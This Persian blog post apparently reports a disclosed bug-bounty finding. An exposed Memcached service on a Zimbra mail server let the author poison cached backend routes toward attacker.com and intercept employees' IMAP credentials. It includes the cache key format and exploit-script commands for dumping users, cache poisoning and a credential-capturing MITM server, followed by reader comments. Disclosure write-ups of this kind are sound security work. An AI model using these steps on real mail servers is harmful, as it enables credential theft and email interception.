نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

28 ژوئن 2020

با آزمون‌هایی که من و علی دینی‌فر روی سرور ایمیل کافه‌بازار انجام دادیم، فهمیدیم که قابلیت سرقت تمام پسوردهای کارمندان کافه‌بازار وجود داشته. با نوشتن یه اکسپلویت کلی پسورد استخراج شد و به کافه‌بازار گزارش دادیم. اون موقع (یک سال و اندی پیش) کافه‌بازار تازه برنامه بانتی رو راه انداخته بود و بابت این آسیب‌پذیری ۲۵ میلیون تومان پرداخت کرد. در ادامه توضیحات کشف و اکسپلویت رو به زبان ساده توضیح می‌دم.

خلاصه گزارش

در دامنه mailx.hezardastan.net عدم کنترل دسترسی نرم‌افزار مدیریت کش Memcached منجر به کشف آسیب‌پذیری شنود ترافیک Mail Server از راه دور می‌شود. به موجب این آسیب‌پذیری، مهاجم می تواند اطلاعات حساس کاربران سرور ایمیل که شامل موارد زیر است را استخراج کرده یا تغییر دهد:

  • آدرس‌های ایمیل ثبت شده (محرمانه و عمومی)
  • اطلاعات اصالت‌سنجی شامل گذرواژه و توکن‌ها به صورت Plain-Text
  • متن ایمیل‌های دریافتی و ارسالی
  • برخی اطلاعات سرور مثل نسخه های نرم افزاری و UpTime همچنین با توجه به اینکه بسیاری از حساب‌های دیگر کافه‌بازار با ایمیل‌های سازمانی ساخته شده است، امکان نفوذ به دامنه‌ها و سرورهای دیگر با استفاده از آسیب‌پذیری کشف شده وجود دارد.

شرح آسیب‌پذیری

سرور mailx.hezardastan.net از نرم‌افزار تحت سرور Zimbra Mail Server استفاده می کند. در Zimbra پروتکل‌های IMAP ،POP3 ،HTTPS ،SMTP و نسخه‌های امن آن‌ها پشتیبانی می شوند. با انجام پورت اسکنر:

پورت‌های مرتبط با سرویس ایمیل Zimbra با رنگ مشکی مشخص شده‌اند. نکته قابل توجه در اینجا این است که پورت‌های Backend Server ممکن است فقط یک Forwarder باشند که البته در ادامه گزارش با خواندن کش مشخص می‌شود که Backend Server و User Interface بر روی یک سرور قرار دارند. در بین پورت‌های باز، پورت 11211 مربوط Memcached نیز وجود دارد. با بررسی بیشتر مشخص شد که این سرویس از اصالت‌سنجی (Authentication) یا کلید خاصی برای اتصال استفاده نمی‌کند و امن‌سازی باید با بسته بودن پورت مربوطه صورت پذیرد.

همچنین در سال های اخیر حملات DoS گسترده ای علیه سرویس های Memcached با عنوان Memcrashed انجام شده است و سازنده نرم افزار توصیه می کند که پورت فیلتر شده و از طریق اینترنت قابل دسترس نباشد:

https://github.com/649/Memcrashed-DDoS-Exploit
https://wiki.zimbra.com/wiki/Blocking_Memcached_Attack
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211

با بررسی‌های بیشتر مشخص شد که Zimbra از این سرویس برای کنترل کش استفاده می‌کند. با اتصال به پورت ۱۱۲۱۱:

  • آدرس ایمیل‌های موجود در کش افشا می‌شود
  • امکان نوشتن مقدار جدید در کش میسر است
  • امکان بازنویسی مقادیر در کش میسر است
  • برخی اطلاعات دیگر مانند زمان محلی سرور و مواردی اینچنیی افشا می‌شود

حمله به Zimbra از طریق Memcahced

Zimbra اطلاعات پروتکل ارتباطی کاربران به همراه آدرس ایمیل یا نام کاربری و آدرس سرور با پروتکل مورد استفاده برای خواندن ایمیل (IMAP ،POP3 ،HTTP) را در کش ذخیره کرده و از آن‌ها استفاده می‌کند. در قدم اول می توان آدرس ایمیل و شناسه کاربران آنلاین را از حافظه کش استخراج کرد. برای راحتی کار از ماژول memcached_extractor در نرم افزار Metasploit استفاده می کنیم:

به عنوان نمونه تعدادی از آدرس‌های ایمیل و شناسه کاربران سرور استخراج شده و در فایل emails.txt همراه گزارش پیوست شده است. از این اطلاعات برای حملات Brute Force و فیشینگ می توان استفاده کرد. برای بررسی بهتر عملکرد سرور تصویر زیر تهیه شده است:

جریان‌کاری این قسمت:

  1. کاربر با استفاده از اطلاعات  خود لاگین شده و سشن برقرار می شود.
  2. سرور پروتکل و آدرس Backend، آدرس ایمیل کاربر را برای استفاده در آینده در Memcached ذخیره می کند.
  3. کاربر با رابطی کاربری Zimbra کار می‌کند.
  4. سرور به کش Memcached مراجعه می کند و با توجه به اطلاعات ذخیره شده پروتکل و Backend Server را انتخاب می کند.
  5. سرور درخواست کاربر را همراه با اطلاعات اصالت‌سنجی به Backend Server ارسال می‌کند نمونه ی آیتم کش برای چند کاربر که از حافظهی Memcached استخراج شده است، به این شرح است:
route:proto=imapssl;user=REDACTED@cafebazaar.ir 127.0.0.1:7993
route:proto=pop3ssl;user=REDACTED@cafebazaar.cloud 127.0.0.1:7995
route:proto=httpssl;user=REDACTED@cafebazaar.ir 127.0.0.1:8443

فرم کلی کلید یا نام آیتم های کش که Zimbra استفاده می کند به این شکل است:

route:proto=[UserProtocol];user=EmailAddressOrID

پروتکل‌هایی که Zimbra پشتیبانی می‌کند:

Protocol Proxy Address
IMAPSSL 127.0.0.1:7993
POP3SSL 127.0.0.1:7995
HTTPSSL(HTTPS) 127.0.0.1:8443

Zimbra از پروتکل‌های ناامن مثل HTTP نیز پشتیبانی می کند ولی سرور مذکور تنها حالت امن SSL پروتکل‌ها را پشتیبانی می‌کند همچنین Backend Server علاوه بر 127.0.0.01، از اینترنت نیز قابل دسترسی است:

Protocol Proxy Address
IMAPSSL mailx.hezardastan.net:7993
POP3SSL mailx.hezardastan.net:7995
HTTPSSL(HTTPS) mailx.hezardastan.net:8443

 آسیب‌پذیری SSRF

در صورتی که بتوان آدرس Backend Server را از 127.0.0.1 به مقدار دلخواه تغییر داد، ترافیک سرور به آدرس دلخواه هدایت می‌شود، بدین‌ترتیب آسیب‌پذیری SSRF از طریق دستکاری در Memcahed قابل انجام است. نکته قابل ذکر این است که سرور به پراکسی‌های با آدرس 127.0.0.1 از طریق کانکشن SSL متصل شده است که به احتمال بسیار زیاد فاقد Client Authentication هست. برای آزمون اولیه، کافی است مراحل زیر را طی کنیم:

  1. ایجاد یک  SSL Listener  با استفاده از یک گواهی‌نامه غیر معتبر (Self-singed SSL Certificate) و OpenSSL
  2. تغییر داده یک کاربر آنلاین در Memcached به آدرس سرور Listener ایجاد شده  برای شروع حمله، مقدار داده:
route:proto=imapssl;user=REDACTED@cafebazaar.ir

را از:

127.0.0.1:7993

به:

attacker.com:44330

تغییر می دهیم. پس از اقدامات بالا، یک کانکشن از طرف سرور mailx.hezardastan.net در SSL Lintener دریافت شد.

حمله مرد میانی (Man in the Middle)

در این مرحله، برای حصول «سرقت اطلاعات کاربران» و «ادامه کارکرد صحیح سامانه»،‌ نیاز بود تا از حمله مردمیانی استفاده کنیم. در این سناریو سرور مهاجم فقط یک نسخه از اطلاعات را دریافت می‌کند و سامانه به کارکرد عادی خود ادامه می‌دهد. البته این امر به‌دلیل باز پورت‌های Backend Server قابل انجام است.

سناریوی حمله:

  1. کاربر وارد حساب خود می شود و اطلاعات Backend Server در Memcached ذخیره می‌شود.
  2. مهاجم مقادیر کش ذخیره شده را دستکاری کرده و آدرس Backend Server را به آدرس دلخواهی تغییر می دهد.
  3. ترافیک سرور Zimbra به سمت سرور مهاجم هدایت می‌شود.
  4. مهاجم ترافیک را از حالت SSL خارج می کند. در این مرحله نشت اطلاعات صورت می‌گیرد. مهاجم قابلیت ویرایش اطلاعات در این قسمت را نیز دارد.
  5. مهاجم اطلاعات را دوباره رمز کرده و از طریق یک ارتباط SSL به پورت‌های Backend Server که از اینترنت قابل درسترس هستند ارسال می کند. این روند برای ارتباطات بعدی نیز وجود دارد،‌ بدین‌ترتیب متن ایمیل و موارد دیگر نیز بدون نیاز به اصالت‌سنجی نیز افشا می‌شود.

توضیح کد اکسپلویت اسکریپ پایتون ضمیمه شده در گزارش، چندین کار را انجام می‌دهد:

1. استخراج ایمیل و شناسه کاربران آنلاین به همراه اطلاعات پروتکل: با دستور زیر می توان این اطلاعات را استخراج کرد (اطلاعات علاوه بر نمایش در فایل users.txt ذخیره می شود):

python HezarSploit.py -m dumpusers

2. شبیه‌سازی IMAPSSL Server برای ارتباط با کلاینت: این اسکریپت یک IMAPSSL Server را پیاده می‌کند تا بتواند با کلاینت ارتباط برقرار کند و اطلاعات اصالت‌سنجی را سرقت کند. برای این کار دستور زیر اجرا می شود که سرور را روی پورت دلخواه فعال می کند:

python HezarSploit.py -m mitm --port 4444

این سرور اطلاعات اصالت‌سنجی را استخراج و در فایل credentials.txt ذخیره می کند.

3. آلوده‌سازی کش و تزریق اطلاعات سرور مهاجم به عنوان پراکسی: اسکریپت آیتم‌های کش ذخیره شده برای کاربران در Memcached را دستکاری می کند و آدرس پراکسی آن ها را به آدرس مهاجم تغییر می دهد. پس از این اقدام ترافیک آن‌ها به SSL Server تقلبی روانه می شود. این قابلیت برای کاربرانی که از پروتکل IMAP استفاده می کنند طراحی شده است. دستور زیر مقدار پراکسی همه کاربران IMAP را به آدرس مهاجم تغییر می دهد:

python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444

و دستور زیر مقدار پراکسی را فقط برای یک کاربر خاص تغییر می دهد تا فقط آن کاربر شنود شود:

python HezarSploit.py -m poisoning --u

4. بازنشانی مقدار پراکسی ها پس از اتمام حمله MITM: پس از اتمام عملیات شنود، دستور زیر اجرا می شود تا مقدار پراکسی کاربران به مقدار اولیه برگردد:

python HezarSploit.py -m reset

حمله نهایی از طریق آسیب‌پذیری کشف‌شده

ابتدا کش را آلوده می کنیم.آدرس ما attacker.com است و سرور را روی پورت 4444 راه اندازی خواهیم کرد و میخواهیم اطلاعات احراز هویت همه کاربران آنلاین را که از IMAP استفاده می کنند به دست بیاوریم:

python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444

سپس سرور IMAP را روی پورت 4444 راه اندازی می کنیم تا ترافیک را دریافت کنیم:

python HezarSploit.py -m mitm --port 4444

در هنگام حمله، سرویس میل به خوبی کار کرده، اما برای جلوگیری از هدایت ترافیک کاربرانی که گذرواژه آنها افشا شده است، دستور زیر را اجرا می‌کنیم:

python HezarSploit.py -m reset

نمونه‌ای اطلاعت استخراج شده:

علاقه‌مند به امنیت، بازی و تفریح. ۳۳ سال زندگی کردم، دوست دارم ۲۷ سال دیگه هم زندگی کنم. دو پارادوکس بزرگ زندگیم اینه که رشته تحصیلیم لیزر و اپتیک هست،‌ ربطی به کارم نداره، اسمم هم یاشار هست اما ترک نیستم.
زندگی من به سه قسمت تقسیم میشه، قسمت اول کار روزانه من هست که مثل بقیه مردم میرم سر کار. قسمت دوم سعی در براورده کردن علایق کاری خودم، مثل همین وبلاگ. قسمت سوم هم خانواده، مسافرت و تفریح. تلاش می‌کنم توی قسمت دوم، باگ‌بانتی کار کنم،‌ هم درآمد خوبی داره هم هیجان خاص خودش رو. اون قسمت‌هایی از تکنیک‌ها و کشفیات در فرایند باگ‌بانتی رو سعی می‌کنم توی این وبلاگ قرار بدم.
  • به اشتراک بگذارید:
  1. محمد گفت:

    لذت بردم

  2. pente3ter12 گفت:

    سلام،خداقوت.
    از آسیب پذیری ای که تو سایت های ایرانسل و همراه اول کشف شده بود اگر امکانش هست مقاله ای بذارید.

  3. علیرضا گفت:

    سلام
    ممنون از اطلاعات خوبی که شیر کردی
    چندتا سوال داشتم
    آرگومان dumpusers را از همون آسیب پذیری memcached استفاده کردی و کاربران را کشیدی بیرون ؟
    مورد دوم اینکه، در این صورت این اسیب پذیری خود زیمبرا هست نه یه باگ توی میل سرور کافه بازار
    چون memcached به صورت پیش فرض یا انتخابی توسط اینستالر zimbra نصب میشه
    درسته ؟

    • یاشار شاهین‌زاده گفت:

      جواب سوال اول: واقعا مطمئن نیستم، اکسپلویت رو نگاه کن، چون این قضیه برای بیشتر ۱ سال پیش هست
      جواب سوال دوم: آسیب‌پذیری زیمبرا حساب نمیشه، یه misconfig هست که اگه اون پورت باز باشه می‌شه این حمله رو انجام داد، به‌صورت پیشفرض برای غیر لوکال باز نیست پورت فکر کنم

  4. Mehran گفت:

    واقعا لذت بردم. بسیار عالی

  5. شهروز گفت:

    سلام
    لطفا آموزش و شرح حمله SSRF هم بذارین که چی هست و چطور میشه پیدا کرد
    یه چیزی مثل آموزش Same-Origin Policy که گذاشتین و عالیه
    پایدار باشید

  6. علیرضا گفت:

    با سلام
    مقاله تخصصی و عالی بود ..
    من در زمینه پایان نامه ارشد میخواستم راهنمایی کنید … رشته تحصیلیم it هست
    و میخوام در زمینه هک و آسیب پذیری وبسایت ها و سرور ها موضوع پایانامم باشه
    پیشنهاد شما چه موضوع بروز و رو به جلو و تاثیر گذاریه؟؟ …
    یکی از اساتید امنیت در شبکه های اجتماعی رو پیشنهاد داده … نظر شما چیه؟

  7. Mahmoud گفت:

    من که عشق کردم فقط برای اسکن پورت ها از چه ابزاری استفاده کردید که بلاک نشدید یا از چه روشی؟ من nmap رو امتحان میکنم ولی بلاک میشه. لطفا یک روش اکتیو یاد بدید ممنون

  8. رهگذر گفت:

    سلام یاشار جان خسته نباشی بسیار عالی لذت بخش بود
    فقط یه سوال قسمت دستکاری مقادیر memcashed برای تغییر آی پی آدرس به آدرس مهاجم رو متوجه نشدم به چه صورت این کار رو برای مقادیر یه memcash ریموت انجام دادی (متوجه باز بودن پورت شدم روند تغییر رو متوجه نشدم)

  9. بهنام گفت:

    خیلی جذاب بود
    کد پایتون رو هم نگاه کردم، زحمت زیادی کشیده شده، با اینکه کم تجربه هستم اما فکر میکنم باید بانتی خیلی بیشتری میدادن به شما چون کار سطح بالا بود.

  10. واقعا جالب بود، حتی من که زیاد از مسائل فنی سر در نمیارم برام جالب بود. فقط یاشار جان فونت دیدگاه ها خیلی ریزه!

  11. […] کنید. توی این پست هانتر با استفاده از آسیب‌پذیری SSRF تونسته کش Redis رو اکسپلویت کنه و ۱۵ هزار دلار بانتی […]

  12. […] کافه‌بازار. دو پست قبلی رو می‌تونید از اینجا و اینجا بخونید. این پست راجع به آسیب‌پذیری هست که سال […]

دیدگاه شما در مورد یاشار شاهین‌زاده